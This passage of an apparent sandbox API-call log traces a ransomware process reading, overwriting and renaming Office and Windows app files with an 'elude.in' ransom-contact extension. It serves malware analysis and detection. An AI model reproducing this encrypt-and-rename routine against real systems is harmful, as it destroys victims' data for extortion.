shared\\themes16\\ice\\ice.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\ice.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0262.636] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0262.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="ICE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ICEINF~1.FIR")) returned 0x6d5540 [0262.636] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0262.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\ice.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0262.636] GetProcessHeap () returned 0x630000 [0262.636] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc0d0 [0262.636] GetProcessHeap () returned 0x630000 [0262.636] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc2a8 [0262.636] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.636] ReadFile (in: hFile=0x620, lpBuffer=0x6dc0d0, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc0d0*, lpNumberOfBytesRead=0x4bfff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0262.640] GetProcessHeap () returned 0x630000 [0262.640] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0262.640] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.640] WriteFile (in: hFile=0x620, lpBuffer=0x6dc2a8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc2a8*, lpNumberOfBytesWritten=0x4bfff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0262.640] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.640] WriteFile (in: hFile=0x620, lpBuffer=0x6dc447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc447*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0262.640] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.641] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0262.641] CloseHandle (hObject=0x620) returned 1 [0262.641] GetProcessHeap () returned 0x630000 [0262.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc2a8 | out: hHeap=0x630000) returned 1 [0262.641] GetProcessHeap () returned 0x630000 [0262.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc0d0 | out: hHeap=0x630000) returned 1 [0262.641] GetProcessHeap () returned 0x630000 [0262.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0262.641] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0262.641] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x627f2007, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x4bffd20, dwReserved1=0x6dc0d0, cFileName="ICE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ICEINF~1.FIR")) returned 0x6d53c0 [0262.641] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0262.641] Sleep (dwMilliseconds=0x1) [0262.684] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\31.jpg", len=0x7c | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\31.jpg") returned 1 [0262.684] GetProcessHeap () returned 0x630000 [0262.684] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4db0) returned 0x6fe3bb0 [0262.684] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\31.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\31.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.686] Sleep (dwMilliseconds=0x1) [0262.700] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\30.jpg", len=0x7c | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\30.jpg") returned 1 [0262.701] GetProcessHeap () returned 0x630000 [0262.701] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dac) returned 0x6fe3bb0 [0262.701] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\30.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\30.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.702] Sleep (dwMilliseconds=0x1) [0262.746] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\3.jpg", len=0x7b | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\3.jpg") returned 1 [0262.746] GetProcessHeap () returned 0x630000 [0262.746] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4da8) returned 0x6fe3bb0 [0262.747] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\3.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\3.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.748] Sleep (dwMilliseconds=0x1) [0262.764] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\27.jpg", len=0x7c | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\27.jpg") returned 1 [0262.764] GetProcessHeap () returned 0x630000 [0262.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d9c) returned 0x6fe3bb0 [0262.764] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\27.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\27.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.766] Sleep (dwMilliseconds=0x1) [0262.781] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\2.jpg", len=0x7b | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\2.jpg") returned 1 [0262.781] GetProcessHeap () returned 0x630000 [0262.781] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d98) returned 0x6fe3bb0 [0262.781] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\2.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\2.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.783] Sleep (dwMilliseconds=0x1) [0263.792] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\180.png", len=0x7a | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\180.png") returned 1 [0263.792] GetProcessHeap () returned 0x630000 [0263.792] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ccc) returned 0x6fe3bb0 [0263.792] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\180.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.793] Sleep (dwMilliseconds=0x1) [0264.634] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\FAQ.htm", len=0x68 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\FAQ.htm") returned 1 [0264.634] GetProcessHeap () returned 0x630000 [0264.634] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d68) returned 0x6fe3bb0 [0264.635] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\FAQ.htm" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\faq\\en-gb\\faq.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.646] Sleep (dwMilliseconds=0x1) [0264.662] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", len=0x7f | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned 1 [0264.662] GetProcessHeap () returned 0x630000 [0264.662] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d1c) returned 0x6fe3bb0 [0264.662] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.663] Sleep (dwMilliseconds=0x1) [0264.679] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-36.png", len=0x75 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-36.png") returned 1 [0264.679] GetProcessHeap () returned 0x630000 [0264.679] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cdc) returned 0x6fe3bb0 [0264.679] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail1.targetsize-36.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.686] Sleep (dwMilliseconds=0x1) [0264.740] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-54.png", len=0x76 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-54.png") returned 1 [0264.740] GetProcessHeap () returned 0x630000 [0264.740] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb0) returned 0x6fe3bb0 [0264.740] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-54.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall2.targetsize-54.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.745] Sleep (dwMilliseconds=0x1) [0264.753] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-16.png", len=0x76 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-16.png") returned 1 [0264.753] GetProcessHeap () returned 0x630000 [0264.753] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c84) returned 0x6fe3bb0 [0264.753] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall1.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.757] Sleep (dwMilliseconds=0x1) [0264.770] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-200.png", len=0x78 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-200.png") returned 1 [0264.770] GetProcessHeap () returned 0x630000 [0264.770] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c60) returned 0x6fe3bb0 [0264.770] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basesmalltilethin.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.771] Sleep (dwMilliseconds=0x1) [0264.791] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-200.png", len=0x79 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-200.png") returned 1 [0264.791] GetProcessHeap () returned 0x630000 [0264.791] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c34) returned 0x6fe3bb0 [0264.791] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\base2smalltilethin.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.791] Sleep (dwMilliseconds=0x1) [0264.801] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.INF", len=0x6c | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.INF") returned 1 [0264.801] GetProcessHeap () returned 0x630000 [0264.801] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c10) returned 0x6fe3bb0 [0264.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0264.913] CloseHandle (hObject=0x40c) returned 1 [0264.913] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\arctic.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\arctic.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="ARCTIC.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ARCTIC~1.FIR")) returned 0x6d5340 [0265.132] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0265.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\arctic.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0265.175] GetProcessHeap () returned 0x630000 [0265.175] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706b428 [0265.175] GetProcessHeap () returned 0x630000 [0265.175] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706b670 [0265.175] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.175] ReadFile (in: hFile=0x698, lpBuffer=0x706b428, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x706b428*, lpNumberOfBytesRead=0x4bfff0c*=0x200, lpOverlapped=0x0) returned 1 [0265.204] GetProcessHeap () returned 0x630000 [0265.204] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0265.204] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.204] WriteFile (in: hFile=0x698, lpBuffer=0x706b670*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x706b670*, lpNumberOfBytesWritten=0x4bfff0c*=0x200, lpOverlapped=0x0) returned 1 [0265.204] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.204] WriteFile (in: hFile=0x698, lpBuffer=0x706b86f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x706b86f*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0265.205] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.205] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0265.205] CloseHandle (hObject=0x698) returned 1 [0265.205] GetProcessHeap () returned 0x630000 [0265.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706b670 | out: hHeap=0x630000) returned 1 [0265.205] GetProcessHeap () returned 0x630000 [0265.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706b428 | out: hHeap=0x630000) returned 1 [0265.205] GetProcessHeap () returned 0x630000 [0265.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 